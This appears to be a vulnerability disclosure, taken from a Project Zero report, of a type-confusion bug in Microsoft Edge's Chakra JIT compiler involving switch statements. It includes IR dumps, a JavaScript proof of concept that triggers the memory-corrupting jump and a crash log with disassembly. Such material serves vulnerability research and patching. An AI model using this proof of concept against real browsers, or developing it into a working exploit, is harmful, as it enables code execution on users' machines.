Microsoft Edge Chakra JIT - Type Confusion with switch Statements

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1341&desc=3

Let's start with a switch statement and its IR code for JIT.

JS:
for (let i = 0; i <; 100; i++) {
    switch (i) {
        case 2:
        case 4:
        case 6:
        case 8:
        case 10:
        case 12:
        case 14:
        case 16:
        case 18:
        case 20:
        case 22:
        case 24:
        case 26:
        case 28:
        case 30:
        case 32:
        case 34:
        case 36:
        case 38:
            break;
    }
}

IRs before Type Specialization:
    s26.var         =  Ld_A           s24.var - "i"                           #0011  Bailout: #0011 (BailOutExpectingInteger)
                       BrLt_A         $L2, s26.var, s5.var                    #0070
$L9:                                                                          #0070
                       BrGt_A         $L2, s26.var, s23.var                   #0070
$L8:                                                                          #0070
    s28.var         =  Sub_A          s26.var, 2 (0x2).i32                    #0070  // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable.
                       MultiBr        ..., s28.var #0070

IRs after Type Specialization:
    s52(s26).i32    =  Ld_A           s51(s24).i32 - "i"                      #0011
                       BrLt_I4        $L2, s51(s24).i32, 2 (0x2).i32          #0070
$L9:                                                                          #0070
                       BrGt_I4        $L2, s51(s24).i32, 38 (0x26).i32        #0070
$L8:                                                                          #0070
    s53(s28).i32    =  Sub_I4         s51(s24).i32, 2 (0x2).i32               #0070
                       MultiBr        ..., s53(s28).i32! #0070



MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger.

In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32.

What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j" in the CSE phase.

JS:
for (let i = 0; i < 100; i++) {
    let j = i - 2;
    switch (i) {
        case 2:
        case 4:
        case 6:
        case 8:
        case 10:
        case 12:
        case 14:
        case 16:
        case 18:
        case 20:
        case 22:
        case 24:
        case 26:
        case 28:
        case 30:
        case 32:
        case 34:
        case 36:
        case 38:
            break;
    }
}

IR:
  Line   3: let j = i - 2;
  Col    9: ^
                       StatementBoundary  #2                                  #0013
    s55(s28).i32    =  Sub_I4         s54(s24).i32, 2 (0x2).i32               #0013


  Line   4: switch (i) {
  Col    9: ^
                       StatementBoundary  #3                                  #001a  // BailOutExpectingInteger
                       BrLt_I4        $L2, s54(s24).i32, 2 (0x2).i32          #0079
                       BrGt_I4        $L2, s54(s24).i32, 38 (0x26).i32        #0079
                       MultiBr        ..., s55(s28).i32! #0079


The offset variable is replaced with "j" that is not ensured to be of type Int32.

CORRECTION: The bug was that it tried to ensure the type using BailOutExpectingInteger, even if "i" was not always of type Int32. It was bypassed with the CSE phase. So if we created a case where "j" couldn't be of type Int32, type confusion occurred.

JS:
for (let i = 0; i < 100; i++) {
    let j = i - 2;
    switch (i) {
        case 2:
        case 4:
        case 6:
        case 8:
        case 10:
        case 12:
        case 14:
        case 16:
        case 18:
        case 20:
        case 22:
        case 24:
        case 26:
        case 28:
        case 30:
        case 32:
        case 34:
        case 36:
        case 38:
            break;
    }

    if (i == 39)
        i = 'aaaa';
}

IR:
  Line   3: let j = i - 2;
  Col    9: ^
                       StatementBoundary  #2                                  #0013
    s30[LikelyCanBeTaggedValue_Int].var = Sub_A  s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013
    s27[LikelyCanBeTaggedValue_Int].var = Ld_A  s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017


  Line   4: switch (i) {
  Col    9: ^
                       StatementBoundary  #3                                  #001a
    s63(s26).i32    =  FromVar        s26[LikelyCanBeTaggedValue_Int_Number].var #001a  Bailout: #001a (BailOutExpectingInteger)
                       BrLt_I4        $L4, s63(s26).i32, 2 (0x2).i32          #0079
                       BrGt_I4        $L4, s63(s26).i32, 38 (0x26).i32        #0079
                       MultiBr        ..., s27[LikelyCanBeTaggedValue_Int].var #0079


It ended up to use "j" of type Var as the offset variable.

PoC:
*/

function opt() {
    for (let i = 0; i < 100; i++) {
        let j = i - 2;
        switch (i) {
            case 2:
            case 4:
            case 6:
            case 8:
            case 10:
            case 12:
            case 14:
            case 16:
            case 18:
            case 20:
            case 22:
            case 24:
            case 26:
            case 28:
            case 30:
            case 32:
            case 34:
            case 36:
            case 38:
                break;
        }

        if (i == 90) {
            i = 'x';
        }
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

/*
Crash Log:
RAX: 0x1
RBX: 0x7ffff7e04824 --> 0x100000000
RCX: 0x3
RDX: 0x7ffff0b20667 (loope  0x7ffff0b2066d)
RSI: 0x80000001
RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push   rbp)
RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...)
RSP: 0x7fffffff20c0 --> 0x1111015500000002
RIP: 0x7ffff0b204da (mov    rdx,QWORD PTR [rdx+r13*8])
R8 : 0x0
R9 : 0x0
R10: 0x7ffff0b20400 (movabs rax,0x555555879018)
R11: 0x206
R12: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f
R13: 0x1000000000001 << Var 1
R14: 0x1000000000003
R15: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>:  push   rbp)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff0b204cb:  cmp    ecx,0x26
   0x7ffff0b204ce:  jg     0x7ffff0b204e1
   0x7ffff0b204d0:  movabs rdx,0x7ffff0b20667
=> 0x7ffff0b204da:  mov    rdx,QWORD PTR [rdx+r13*8]
   0x7ffff0b204de:  rex.W jmp rdx

We can simply think as follows.

Before the CSE phase:
Var j = ToVar(i - 2);
int32_t offset = i - 2;
jmp jump_table[offset];

After the CSE phase:
Var j = ToVar(i - 2);
jmp jump_table[j];

*/